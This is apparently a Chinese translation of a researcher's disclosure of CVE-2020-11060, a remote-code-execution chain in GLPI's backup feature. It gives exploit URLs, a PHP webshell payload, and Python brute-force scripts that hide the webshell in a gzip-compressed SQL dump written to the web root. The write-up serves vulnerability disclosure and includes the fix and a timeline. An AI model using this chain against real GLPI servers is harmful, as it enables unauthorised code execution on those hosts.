原文地址:https://offsec.almond.consulting/playing-with-gzip-rce-in-glpi.html

产品:0.85(2014年发布)到9.4.5(包括9.4.5,2019年发布)的所有GLPI版本。 有关受影响版本的更多详细信息,请参见专题部分。

类型:远程代码执行(理论:未验证;实际:已验证)

摘要:GLPI的备份功能(CVE-2020-11060),存在远程代码执行(RCE)漏洞。通过创建PHP/GZIP文件,可以滥用任意路径和哈希路径泄露来在GLPI主机上执行代码。我们描述了一种利用方法,使用技术人员帐户通过特制的gzip/php webshell在WiFi网络备注实现RCE。

已更新,加入关于受影响版本的更多详细信息。

摘自Wikipedia:

GLPI(法语缩写:Gestionnaire Libre de Parc Informatique,或英文“ Open Source IT Equipment Manager”)是一个开源的IT资产管理、问题跟踪系统和服务台系统,编写语言为PHP。

其源码可以在GitHub上找到。

本文深入探讨了GLPI中发现的一个漏洞,在研究过程中还发现了其他漏洞,可以在这里查看:Multiple vulnerabilities in GLPI

Vulnerability details

CSRF

具有maintenance权限的GLPI用户可以通过菜单执行SQL/XML dumps:

这些操作存在跨站请求伪造(CSRF)漏洞。实际上,执行GET请求时不会进行额外的检查:

默认情况下,dumps存储在GLPI_DUMP_DIR目录中,也就是说,可以在以下目录中找到:http//host/files/_dumps/

filename参数定义如下所示:

<?php
$time_file = date("Y-m-d-H-i");
//For XML Dumps
$filename  = GLPI_DUMP_DIR . "glpi-backup-" . GLPI_VERSION . "-$time_file.xml";
//For SQL Dumps
$filename  = GLPI_DUMP_DIR . "glpi-backup-".GLPI_VERSION."-$time_file.sql.gz";

$filename示例(webroot为/var/www/glpi):/var/www/glpi/files/_dumps/glpi-backup-9.4.5-2020-03-02-14-15.sql.gz
如果GLPI_DUMP_DIR被修改到webroot之外,例如被.htaccess更改,会怎样?
理论上,这个漏洞可能允许blind/unauthenticated的RCE-但如后文所述,还有其他障碍需要克服。

Arbitrary filename

SQL备份可以将GET参数fichier作为文件名,如/front/backup.php中所示:

<?php
if (!isset($_GET["fichier"])) {
   $fichier = $filename;
} else {
   $fichier = $_GET["fichier"];
}

我们可以选择在哪里写入SQL dump,虽然XML备份并非如此。但是请注意,这个参数不能通过Web界面设置。

通过使用ftp://之类的方案,可以使用CSRF直接写入到我们的服务器上。为了实现这一点,必须在php.ini中启用allow_url_fopen指令(这是默认设置),并且不存在阻止外联的网络策略。

也可以直接写在Web根目录中,但是必须知道路径。

Hashed Path Disclosure

GLPI cookie名称实际上是应用程序路径的哈希构造的:

<?php
session_name("glpi_".md5(realpath(GLPI_ROOT)));

一个测试的例子:

$ curl -I "http://192.168.1.68/"
HTTP/1.1 200 OK
Date: Thu, 30 Apr 2020 15:15:00 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: glpi_40d1b2d83998fabacb726e5bc3d22129=clmbcjumobsachvvp9cdtev192; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8

$ echo -n "/var/www/html" | md5sum
40d1b2d83998fabacb726e5bc3d22129  -

使用带有自定义路径字典的hashcat可以还原常见的路径。

结合以前的漏洞,CSRF/手动备份的PoC现在看起来像这样:
http://host/front/backup.php?dump=dump&fichier=/var/www/html/dump.sql.gz

通过CSRF获得一个完整的数据库dump是件很不错的事情,但是在webroot中写入一个潜在的部分控制的文件意味着我们可以在服务器上执行代码。

但是,最初使用.sql.gz扩展名是因为GLPI定义的backupMySql函数使用gzopen/gzwrite PHP函数来创建gzip压缩的SQL文件:

<?php
function backupMySql($DB, $dumpFile, $duree, $rowlimit) {
   global $TPSCOUR, $offsettable, $offsetrow, $cpt;

   // $dumpFile, fichier source
   // $duree=timeout pour changement de page (-1 = aucun)

   if (function_exists('gzopen')) {
      $fileHandle = gzopen($dumpFile, "a");
   } else {
      $fileHandle = gzopen64($dumpFile, "a");
   }

我们可以在webroot中写入一个.php文件,其中包含数据库的备份(包括用户输入),但该文件是被gzip压缩的。因此,我们需要一种方法来制作gzip压缩的PHP文件,即gzip压缩的MySQL dump文件,其中包含一个PHP webshell,但仅控制部分的数据库内容。

POC

Another hidden GET Parameter

对于攻击者来说,最有趣的场景是无需任何帐户利用漏洞,只需要利用CSRF即可。实际上,有一些方法可以在表中生成数据,例如保存在glpi_events表中的失败登录:

+------+----------+--------+---------------------+---------+-------+-----------------------------------------------+
| id   | items_id | type   | date                | service | level | message                                       |
+------+----------+--------+---------------------+---------+-------+-----------------------------------------------+
| 8595 |       -1 | system | 2020-03-06 15:44:10 | login   |     3 | Failed login for MyUsername from IP 172.20.0.17 |
+------+----------+--------+---------------------+---------+-------+-----------------------------------------------+

但是,攻击者无法在这前后控制其他所有表,所以在压缩文件中获得确定的输出看起来非常困难(稍后会详细介绍)。

为了让事情变得简单,从现在开始我们假设拥有GLPI用户,该用户具有Maintenance权限(备份需要)。 这个权限被授予默认Technician配置,关联默认tech用户(默认密码:tech)。

另一个在/front/backup.php文件中的隐藏GET参数将会很有用:

<?php
if (!isset($_GET["offsettable"])) {
   $offsettable = 0;
} else {
   $offsettable = $_GET["offsettable"];
}

这个参数指示了dump必须从哪个表ID开始:

<?php
$result = $DB->listTables();
$numtab = 0;
while ($t = $result->next()) {
   $tables[$numtab] = $t['TABLE_NAME'];
   $numtab++;
}
for (; $offsettable<$numtab; $offsettable++) {
    // Dump de la structure table

默认情况下,所有表都被dump($ offsettable = 0),PoC中我们将使用$ offsettable = 312:仅dump最后一个表,即glpi_wifinetworks表。

这个表的dump如下所示:

### Dump table glpi_wifinetworks

DROP TABLE IF EXISTS `glpi_wifinetworks`;
CREATE TABLE `glpi_wifinetworks` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `entities_id` int(11) NOT NULL DEFAULT '0',
  `is_recursive` tinyint(1) NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL,
  `essid` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL,
  `mode` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL COMMENT 'ad-hoc, access_point',
  `comment` text COLLATE utf8_unicode_ci,
  `date_mod` datetime DEFAULT NULL,
  `date_creation` datetime DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `entities_id` (`entities_id`),
  KEY `essid` (`essid`),
  KEY `name` (`name`),
  KEY `date_mod` (`date_mod`),
  KEY `date_creation` (`date_creation`)
) ENGINE=InnoDB  DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

INSERT INTO `glpi_wifinetworks` VALUES ('1','0','0','Name','ESSID','ad-hoc','comment','2020-04-25 11:14:39','2020-04-21 10:55:09');

comment列使用TEXT类型,根据MYSQL文档,它最多可以包含2¹⁶个字节,这应该足够容纳我们的payload。

默认情况下,Technician配置还具有添加WiFi网络条目的权限。

这样就可以更好地控制备份文件的内容,在我们payload的前后只有几行字符。 唯一需要弄清楚的是如何创建这样的payload,使得gzip压缩的dump包含一个有效的PHP webshell。

Playing with gzip

Introduction

gzip是RFC 1952中定义的一种无损压缩数据格式,同时也是一种软件实现。 其程序由Jean-Loup GaillyMark Adler创建,作为compressUnix程序的一个无专利软件替代品。
基本上,gzip文件格式只是DEFLATE算法的一个封装(头、校验值)。

RFC 定义了DEFLATE 流的输出格式:

压缩数据集由一系列块组成,对应于连续的输入数据块。块大小是任意的,除了不可压缩的块限制为65,535字节。
每个块使用LZ77算法和Huffman编码的组合进行压缩。每个块的Huffman树独立于其前续或后续块的树,LZ77算法可以使用在前一个块中出现过的重复字符串的引用,最多在此之前32K输入字节

DEFLATE定义了3种有效块类型:

00-未压缩
01-用固定的Huffman编码压缩
10-用动态Huffman编码压缩
11-保留(错误)

为了选择一种块类型,gzip使用的压缩器会比较未压缩、固定和动态Huffman编码几种类型中哪个更短。

LZ77算法Huffman编码的更多细节不是本文的重点,但这里有维基百科的基本描述(和我们相关的):

  • LZ77算法通过替换重复重现的数据实现压缩,将其替换为未压缩数据流中此前已存在的相同数据的引用。
  • Huffman算法的输出可以看作是对源符号(例如文件中的一个字母)编码的变长编码表,算法通过评估源符号中每个可能值出现的可能性或频率(权重)得到变长编码表。与不常见的符号相比,更常见的符号使用较短的编码。

固定Huffman编码块中,DEFLATE RFC变长编码表进行了描述,因此被压缩器/解压缩器所熟知。
动态Huffman编码中变长编码表是通过对给定输入进行专门计算得到的,编码表包含在生成的块中。

Previous research - fixed blocks

DEFLATE数据格式用于多种文件格式,包括PNG

一些研究人员已经设法将PHP Webshell嵌入到PNG图像中:idontplaydartsadamloguewhitton
大体上看,他们的方法是相同的:将随机字节预置/追加到PHP Webshell输出并解压,直到没有错误。

idontplaydarts的payload是这样的:

# Input data to DEFLATE - raw version (" escaped for syntax coloring)
$ php -r "echo hex2bin('03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310') . PHP_EOL;"
��gTo,$+gTo.)+!g\"ko_S

# Input data to DEFLATE - hexdump version (" escaped for syntax coloring)
$ php -r "echo hex2bin('03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310') . PHP_EOL;" | hexdump -C
00000000  03 a3 9f 67 54 6f 2c 24  15 2b 11 67 12 54 6f 11  |...gTo,$.+.g.To.|
00000010  2e 29 15 2b 21 67 22 6b  6f 5f 53 10 0a           |.).+!g\"ko_S..|

# DEFLATE output
$ php -r "echo gzdeflate(hex2bin('03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310')) . PHP_EOL;"
c^<?=$_GET[0]($_POST[1]);?>X

使用Mark Adler的infgen工具,我们可以获取到 DEFLATE 流的更多细节:

! infgen 2.4 output
!
last
fixed
literal 3 163 159 'gTo,$
literal 21 '+
literal 17 'g
literal 18 'To
literal 17 '.)
literal 21 '+!g"ko_S
literal 16
end
  • last:最后的块(这里只有一个块)
  • fixed:使用固定Huffman编码块
  • literal:十进制数字字节或前有单引号的可打印字符串
  • end:我们已经到达块的结尾
    所以DEFLATE压缩器选择了固定Huffman编码。事实上,输入非常短,如果使用动态Huffman编码会创建一个更大的块,因为编码表需要包含在块中。

这些先前的PoC是在没有输入限制的情况下创建的,但是我们的payload有一些限制。
GLPI在comment列中将MySQL编码定义为utf8

`comment` text COLLATE utf8_unicode_ci,

根据MySQL文档

utf8是utf8mb3的别名。

utf8mb3字符集实际上是3字节的UTF-8 Unicode编码。这意味着MySQL无法保存所有4字节的UTF-8字符

payload只能包含Basic Multilingual Plane (BMP)中的字符,即前65536个码位之一。

因此,类似于 idontplaycharts 所描述的那种payload,比如 0x03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310,是无效的: 0xa30x03a3不是有效 UTF-8字符的十六进制表示。

注意: 为了在MySQL中完全支持UTF8,推荐使用utf8mb4字符集。

因此,固定Huffman编码块方法是一个死胡同。

Non compressed blocks

对未压缩块的深入研究后发现它们非常有趣,因为输入直接原样包含在输出中。

直接创建一个3字节UTF-8字符的未压缩块似乎是不可能的(?),因为comment值之前的数据前面有许多冗余数据,例如COLLATE utf8_unicode_ci DEFAULT, 总之它是无用的,我们将在后面看到。

这里提醒下大家压缩了什么:

### Dump table glpi_wifinetworks

DROP TABLE IF EXISTS `glpi_wifinetworks`;
CREATE TABLE `glpi_wifinetworks` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `entities_id` int(11) NOT NULL DEFAULT '0',
  `is_recursive` tinyint(1) NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL,
  `essid` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL,
  `mode` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL COMMENT 'ad-hoc, access_point',
  `comment` text COLLATE utf8_unicode_ci,
  `date_mod` datetime DEFAULT NULL,
  `date_creation` datetime DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `entities_id` (`entities_id`),
  KEY `essid` (`essid`),
  KEY `name` (`name`),
  KEY `date_mod` (`date_mod`),
  KEY `date_creation` (`date_creation`)
) ENGINE=InnoDB  DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

INSERT INTO `glpi_wifinetworks` VALUES ('1','0','0','Name','ESSID','ad-hoc','our comment here','2020-04-25 11:14:39','2020-04-21 10:55:09');

我们的策略是创建一个特别设计的comment,以达到这样的目的:

  • 第一个DEFLATE块(动态Huffman)-包含表定义和开始的INSERT语句-填满这个块
  • 下一个区块是未压缩的,包含PHP webshell

下面是一段简短的Python3代码,用来查找未压缩的块。
这个脚本使用的webshell为 <?php system($_GET[0]);echo `ls`;?>.。添加ls可以更轻松地找到未压缩且可更改的块(例如,可以添加/删除一些字符而不会导致块被压缩)。

#!/usr/bin/env python3
from zlib import compress
import random
import multiprocessing as mp

def gen(n): # Generate random bytes in the BMP
    rand_bytes = b''
    for i in range(n):
        rand_bytes = rand_bytes + chr(random.randrange(0, 65535)).encode('utf8', 'surrogatepass')
    return rand_bytes

def attack():
    while True:
        for i in range(1,200):
            rand_bytes = gen(i)
            to_compress = b"<?php system($_GET[0]);echo `ls`;?>','2020-04-21 10:55:09','2020-04-21 10:55:09');"
            to_compress =  rand_bytes +  to_compress # Random bytes are prepended to our payload. We include the dates: there will be compressed too.
            compressed = compress(to_compress)
            if b'php system' in compressed: # Check whether the input is in the output
                    print(to_compress)

if __name__ == "__main__":
    processes = [mp.Process(target=attack) for x in range(8)]

    for p in processes:
        p.start()

结果如下:

$ cat input_stored
챻紟摌ྪⴇﲈ珹꘎۱⦛ൿ轹σអǑ樆ಧ嬑ൟ냁卝ⅵ㡕蒸榓ꎢ蜒䭘勼ꔗㆾ褅朵顶鎢捴ǕӢퟹ뉌ꕵ붎꺉૾懮㛡نŶ有ʡﳷ䍠죫펪唗鋊嗲켑辋䷪ᰀ쵈ᩚ∰雑𢡊Ս䙝䨌<?php system($_GET[0]);echo `ls`;?>','2020-04-21 10:55:09','2020-04-21 10:55:09');

$ gzip -k input_stored && cat input_stored.gz
)�^input_stored.��챻紟摌ྪⴇﲈ珹꘎۱⦛ൿ轹σអǑ樆ಧ嬑ൟ냁卝ⅵ㡕蒸榓ꎢ蜒䭘勼ꔗㆾ褅朵顶鎢捴ǕӢퟹ뉌ꕵ붎꺉૾懮㛡نŶ有ʡﳷ䍠죫펪唗鋊嗲켑辋䷪ᰀ쵈ᩚ∰雑𢡊Ս䙝䨌<?php system($_GET[0]);echo `ls`;?>','2020-04-21 10:55:09','2020-04-21 10:55:09');
�   �6.

infgen可以确认结果块确实是一个存储块:

$ gzip < input_stored | ./infgen
! infgen 2.4 output
!
gzip
!
last
stored
data 236 177 187 231 180 159 230 145 140 224 190 170 226 180 135 239 178 136 231
data 143 185 239 142 170 234 152 142 219 177 226 166 155 224 181 191 238 167 149
data 232 189 185 207 131 225 158 162 199 145 230 168 134 224 178 167 229 172 145
data 224 181 159 238 144 184 235 131 129 229 141 157 226 133 181 227 161 149 232
data 146 184 230 166 147 234 142 162 232 156 146 228 173 152 229 139 188 234 148
data 151 227 134 190 232 164 133 230 156 181 233 161 182 233 142 162 230 141 180
data 199 149 239 138 170 239 153 164 211 162 238 179 158 237 159 185 235 137 140
data 234 149 181 235 182 142 234 186 137 224 171 190 230 135 174 227 155 161 217
data 134 197 182 230 156 137 202 161 239 179 183 228 141 160 236 163 171 237 142
data 170 229 148 151 233 139 138 229 151 178 236 188 145 232 190 139 228 183 170
data 238 171 167 225 176 128 236 181 136 225 169 154 226 136 176 233 155 145 239
data 171 143 213 141 228 153 157 228 168 140 '<?php system($_GET[0]);echo `ls`;
data '?>','2020-04-21 10:55:09','2020-04-21 10:55:09');
data 10
end
!
crc
length

现在,我们需要在챻紟摌ྪⴇﲈ珹꘎۱⦛ൿ轹σអǑ樆ಧ嬑ൟ냁卝ⅵ㡕蒸榓ꎢ蜒䭘勼ꔗㆾ褅朵顶鎢捴ǕӢퟹ뉌ꕵ붎꺉૾懮㛡نŶ有ʡﳷ䍠죫펪唗鋊嗲켑辋䷪ᰀ쵈ᩚ∰雑𢡊Ս䙝䨌<?php system($_GET[0]);echo `ls`;?>前面放大量字符,来填满一个块(关于填满块的细节在下面一点)。

因此,通过使用这个payload作为comment,我们可以通过URL(http://host/front/backup.php?dump=dump&offsettable=312&fichier=/var/www/html/test.php)
生成dump。

然而PHP webshell并没有被执行。

一个编码的字符似乎是罪魁祸首:

原来,GLPI的XSS过滤器在将字符<>保存到数据库之前对它们进行了编码:

<?php
static function clean_cross_side_scripting_deep($value) {

   if ((array) $value === $value) {
      return array_map([__CLASS__, 'clean_cross_side_scripting_deep'], $value);
   }

   if (!is_string($value)) {
      return $value;
   }

   $in  = ['<', '>'];
   $out = ['&lt;', '&gt;'];
   return str_replace($in, $out, $value);
}

不幸的是,要打开 PHP 标签必须使用<字符。

所以,不能使用原始的、未经压缩的块来打开 PHP 标签。

Using the uncompressed block's header

根据 RFC,未压缩的块以一个小的头开始:

The rest of the block consists of the following information:

      0   1   2   3   4...
    +---+---+---+---+================================+
    |  LEN  | NLEN  |... LEN bytes of literal data...|
    +---+---+---+---+================================+

LEN is the number of data bytes in the block.  NLEN is the
one's complement of LEN.

第4个字节(NLEN的第2个字节)的值可以解码(当文件被PHP解析器读取时)为打开PHP标签所需的<字符!
然后,PHP Webshell可以放在文本数据的未压缩字节中。

这是可能的吗?

  • <的十六进制是0x3c
  • 0x3c的补码是0xc3
  • RFC定义来如何封装数据元素:
* 数据元素按字节内位数递增的顺序打包成字节,即从字节的最低有效位开始。
* 除Huffman编码以外的数据元素从数据元素的最低有效位开始打包。
  • 可能的情况是:
From:
      0   1   2   3   4...
    +---+---+---+---+================================+
    | 00 c3 | ff 3c |... 00 c3 bytes of literal data...|
    +---+---+---+---+================================+

To:

      0   1   2   3   4...
    +---+---+---+---+================================+
    | ff c3 | 00 3c |... ff c3 bytes of literal data...|
    +---+---+---+---+================================+
  • 未压缩的块必须包含15360到15615字节的文本数据。

不幸的是,仅通过使用3字节的UTF-8字符来获取这么长的未压缩块看起来似乎不可能(?)。
实际上,多个UTF-8字符经常重复使用相同的第一个字节(例如,使用0xe0)。
Huffman编码将利用这种重复,并且压缩器将不会选择未压缩的块类型,这会打乱Webshell。

同样,3字节的 UTF-8字符限制使得操作更加困难,因为没有它,构造一个任意大小的未压缩块将变得很容易。

Final PoC

选择的绕过技巧是在未压缩块之前的动态块中打开PHP标签。

gzip文件如下所示(为了清晰起见,用行隔开) :

[gzip header]
[beginning of the first block which is dynamic]
[data compressed with dynamic Huffman codes - part 1]
[opening PHP tag]
[data compressed with dynamic Huffman codes - part 2]
[end of the first block]
[beginning of the second and last block which is uncompressed]
[PHP webshell and padding data to obtain a stored block]
[end of the second block]
[gzip footer]

如何打开PHP标签呢?

  • <php会引发PHP错误,因为数据在[data compressed with dynamic Huffman codes - part 2]中解析
  • <?也会引发PHP错误,另外,它仅在使用php.ini中的short_open_tag指令启动时才可用
  • <?=(更冗长的<?php echo的简写)看起来很合适
    • <?=",当[data compressed with dynamic Huffman codes - part 2]中出现一个"时,这是非常有可能的事情,将会引发PHP错误
    • <?='和上面一样
    • <?=*打开一条注释!只有当*/出现在[data compressed with dynamic Huffman codes - part 2]中才会引发PHP错误,但这是不可能的

gzip文件如下所示,存储的块已经被重新处理过了,因为PHP:

  • 不在乎是否有关闭标签
  • 只有存在未关闭的注释时才会引发警告(而不是错误)
    [gzip header]
    [beginning of the first block which is dynamic]
    [data compressed with dynamic Huffman codes - part 1]
    <?=/*
    [data compressed with dynamic Huffman codes - part 2]
    [end of the first block]
    [beginning of the second and last block which is uncompressed]
    */system($_GET[0]);echo `ls`;/*챻紟摌ྪⴇﲈ珹꘎۱⦛ൿ轹σអǑ樆ಧ嬑ൟ냁卝ⅵ㡕蒸榓ꎢ蜒䭘勼ꔗㆾ褅朵顶鎢捴ǕӢퟹ뉌ꕵ붎꺉૾懮㛡نŶ有ʡﳷ䍠죫펪唗鋊嗲켑辋䷪ᰀ쵈ᩚ∰雑𢡊Ս䙝䨌,'2020-04-21 10:55:09','2020-04-21 10:55:09');
    [end of the second block]
    [gzip footer]
    
    现在,我们可以编写一个Python3脚本来暴解包含<?=/*的完全动态块(希望直到块的末尾都没有关闭注释):
#!/usr/bin/env python3
from zlib import compress
import random
import multiprocessing as mp

# Padding is done with ASCII characters so it is easier to manipulate
# Characters that are escaped (like "'") or encoded, are removed
seq = list(range(40,60)) + list(range(63,92)) + list(range(93,127))

# Generate n random bytes from seq
def gen(n):
    rand_bytes = b''
    for i in range(n):
        rand_bytes = rand_bytes + chr(random.choice(seq)).encode('utf8', 'surrogatepass')
    return rand_bytes

def attack():
    # We use our initial payload for a stored block, in case some characters are used in the dynamic block  
    beginning_stored_block = bytes("챻紟摌ྪⴇﲈ珹꘎۱⦛ൿ轹σអǑ樆ಧ嬑ൟ냁卝ⅵ㡕蒸榓ꎢ蜒䭘勼ꔗㆾ褅朵顶鎢捴ǕӢퟹ뉌ꕵ붎꺉૾懮㛡نŶ有ʡﳷ䍠죫펪唗鋊嗲켑辋䷪ᰀ쵈ᩚ∰雑𢡊Ս䙝䨌<?php system($_GET[0]);echo `ls`;?>','2020-04-21 10:55:09','2020-04-21 10:55:09');", 'utf-8')
    beginning_dynamic_block = b'''
### Dump table glpi_wifinetworks

DROP TABLE IF EXISTS `glpi_wifinetworks`;
CREATE TABLE `glpi_wifinetworks` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`entities_id` int(11) NOT NULL DEFAULT '0',
`is_recursive` tinyint(1) NOT NULL DEFAULT '0',
`name` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL,
`essid` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL,
`mode` varchar(255) COLLATE utf8_unicode_ci DEFAULT NULL COMMENT 'ad-hoc, access_point',
`comment` text COLLATE utf8_unicode_ci,
`date_mod` datetime DEFAULT NULL,
`date_creation` datetime DEFAULT NULL,
PRIMARY KEY (`id`),
KEY `entities_id` (`entities_id`),
KEY `essid` (`essid`),
KEY `name` (`name`),
KEY `date_mod` (`date_mod`),
KEY `date_creation` (`date_creation`)
) ENGINE=InnoDB  DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

INSERT INTO `glpi_wifinetworks` VALUES ('1','0','0','PoC','RCE','ad-hoc',\''''

    while True:
        for i in range(16190,16500): #These values are optimized to fill a full block, it fits in the 2¹⁶ bytes limitation
            rand_bytes = gen(i)
            to_compress = b''
            to_compress = beginning_dynamic_block + rand_bytes +  beginning_stored_block
            compressed = compress(to_compress)
            # We want an uncompressed block and the PHP opening tag
            if b'php system' in compressed and b'<?=/*' in compressed:
                    print(compressed)
                    print(rand_bytes)

if __name__ == "__main__":
    processes = [mp.Process(target=attack) for x in range(8)]

    for p in processes:
        p.start()

在多台服务器上经过了一夜的计算后,得到了一个结果!
尽管上面的脚本是一个粗糙的、未优化的方法,但计算时间仍然表明,在我们拥有一个基本的PHP webshell之前,仅对一个动态块进行暴力破解都是相当漫长/昂贵的。

下面是PoC,即插入到WiFi网络条目的备注,这个条目可以在Web界面中创建(同样,前提是攻击者有一个Technician帐户):

然后创建压缩的dump:http://host/front/backup.php?dump=dump&offsettable=312&fichier=/var/www/html/shell.php

Final notes

这里展示的示例假设没有其他已保存的WiFi网络。如果有的话,我们将需要重新生成payload以使其有效。在最坏的情况下,攻击者可以删除它们,拿到shell,然后重新创建WiFi网络。

在没有有效用户的情况下利用漏洞,将作为课后作业留给读者。
理论上,这个漏洞可以被没有有效帐户的攻击者利用,因为攻击者可以通过失败登录(日志保存在glpi_events表中)将数据添加到数据库中,然后触发CSRF。实际上,盲找到有效PoC可能很难,但也许有人可以做到-如果有的话,请告诉我!

注意:gzipzlib-flate命令给出的结果不同,似乎是因为块大小不同。zlib-flate给出的结果与PHP的gzwrite()相同。

Remediation

GLPI 9.4.6提供了一个修复版本:备份功能已被删除。
相关安全建议。

Affected versions

2004年7月发布的0.40版本引入了利用CSRF并选择文件名(以及通过路径遍历得到的路径)的可能性。当时,SQL dump是用明文编写的,因此很容易获得Webshell,当时GLPI甚至不支持PHP5。

RCE一直有效,直到2006年1月(0.65版)创建了anti-XSS功能。从这个时候开始,只有滥用CSRF和任意文件名漏洞才可能被滥用,但是由于<字符是编码的,所以不能导致RCE。

最终,2014年4月(0.85版本),GLPI在backup.php开始使用gzip压缩,在引入漏洞10年后,这使得可以再次利用RCE。此时的glpi_wifinetworks表定义略有不同,因此链接的PoC不能按原样工作,但可以很容易地进行调整。

总而言之,虽然备份功能在很长一段时间内都存在安全问题,但本文介绍的漏洞链从2014年发布的0.85版本开始都有效。

Timeline

2020-04-27: 根据Security Policy报告漏洞
2020-04-28: 修复push进分支9.4/修复漏洞
2020-05-05: GLPI 9.4.6发布
2020-05-08: CVE-2020-11060发布
2020-05-12: 发布此漏洞修复建议

References

以下是一些有助于理解gzip格式的参考资料:

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖